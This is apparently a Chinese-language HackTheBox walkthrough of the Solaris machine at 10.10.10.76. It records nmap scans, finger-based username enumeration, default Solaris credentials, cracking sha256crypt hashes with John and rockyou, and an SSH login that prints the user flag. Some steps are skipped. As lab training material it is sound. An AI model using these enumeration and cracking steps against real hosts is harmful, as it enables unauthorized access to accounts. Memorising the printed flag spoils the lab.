┌──(kali㉿kali-linux-2022-2)-[~/Desktop/HTB-Tools-Kali/htb-portscan] └─$ ./htb-portscan.sh 10.10.10.76 tcp 开始对 10.10.10.76 进行nmap端口扫描... * 正在执行tcp协议的端口扫描探测... sudo nmap -min-rate 10000 -p- "10.10.10.76" -oG "10.10.10.76"-tcp-braker-allports PORT STATE SERVICE 79/tcp open finger 111/tcp open rpcbind 515/tcp open printer 6787/tcp open smc-admin 22022/tcp open unknown
* 正在对开放的端口进行TCP全连接式版本探测和系统版本探测... sudo nmap -sT -sV -O -p"79,111,515,6787,22022,""10.10.10.76" PORT STATE SERVICE VERSION 79/tcp open finger? 111/tcp open rpcbind 2-4 (RPC #100000) 515/tcp open printer? 6787/tcp open ssl/http Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14) 22022/tcp open ssh OpenSSH 7.5 (protocol 2.0)
* 正在对开放的端口进行nmap漏洞脚本脚本扫描... sudo nmap --script=vuln -p"79,111,515,6787,22022," "10.10.10.76" Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 10.10.10.76 Host is up (0.34s latency).
──(kali㉿kali-linux-2022-2)-[~/Desktop/HTB-Tools-Kali/htb-portscan] └─$ ./htb-portscan.sh 10.10.10.76 udp 开始对 10.10.10.76 进行nmap端口扫描... * 正在执行udp协议的端口扫描探测... sudo nmap -min-rate 10000 -p- -sU "10.10.10.76" -oG "10.10.10.76"-udp-braker-allports PORT STATE SERVICE 111/udp open rpcbind
* 正在对开放的端口进行udp式版本探测和系统版本探测... sudo nmap -sV -sU -O -p"111," "10.10.10.76" PORT STATE SERVICE VERSION 111/udp open rpcbind 2-4 (RPC #100000)
* 正在对开放的端口进行nmap漏洞脚本脚本扫描... sudo nmap --script=vuln -sU -p"111," "10.10.10.76" Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable).
3、打开 10.10.10.76:6787是一个登录页面
4、通过百度搜索到一些默认口令信息
1
Oracle Solaris 的默认用户登录名和密码是jack。成为 root 用户。root 密码是solaris。
---------------------------------------------------------- | Scan Information | ----------------------------------------------------------
Worker Processes ......... 5 Usernames file ........... names.txt Target count ............. 1 Username count ........... 8607 Target TCP port .......... 79 Query timeout ............ 5 secs Relay Server ............. Not used
######## Scan started at Tue Dec 5 20:08:50 2023 ######### Access@10.10.10.76: Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >.. Admin@10.10.10.76: Admin < . . . . >.. Anne Marie@10.10.10.76: Login Name TTY Idle When ???.. Dee dee@10.10.10.76: Login Name TTY Idle When W ???.. Ike@10.10.10.76: Login Name TTY Idle When Where < . . . . >.. Jo ann@10.10.10.76: Login Name TTY Idle When Wh ???.. La verne@10.10.10.76: Login Name TTY Idle When ???.. Line@10.10.10.76: Line Printer Admin < . . . . >.. Message@10.10.10.76: Message Sub < . . . . >.. Miof mela@10.10.10.76: Login Name TTY Idle When ???.. Zsa zsa@10.10.10.76: Login Name TTY Idle When W ???.. ######## Scan completed at Tue Dec 5 20:26:09 2023 ######### 11 results.
┌──(kali㉿kali-linux-2022-2)-[~/Desktop] └─$ john pwdhash --wordlist=/home/kali/Desktop/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128/128 ASIMD 4x]) Remaining 1 password hash Cost 1 (iteration count) is 5000 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status sunday (sunny) cooldude! (sammy) 1g 0:00:00:58 DONE (2023-12-05 20:44) 0.01713g/s 3491p/s 3491c/s 3491C/s daddyzgurl..chrystelle Use the "--show" option to display all of the cracked passwords reliably Session completed.
13、这里我们成功的爆破出了账号,然后进行登录另一个账号,获取 user.txt
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali-linux-2022-2)-[~/Desktop] └─$ ssh sammy@10.10.10.76 -p 22022 (sammy@10.10.10.76) Password: Last login: Wed Apr 13 15:38:02 2022 from 10.10.14.13 Oracle Corporation SunOS 5.11 11.4 Aug 2018 -bash-4.4$ id uid=100(sammy) gid=10(staff) -bash-4.4$ ls user.txt -bash-4.4$ cat user.txt 0ac080e3c1696b30f8df907ba9ec28f5 -bash-4.4$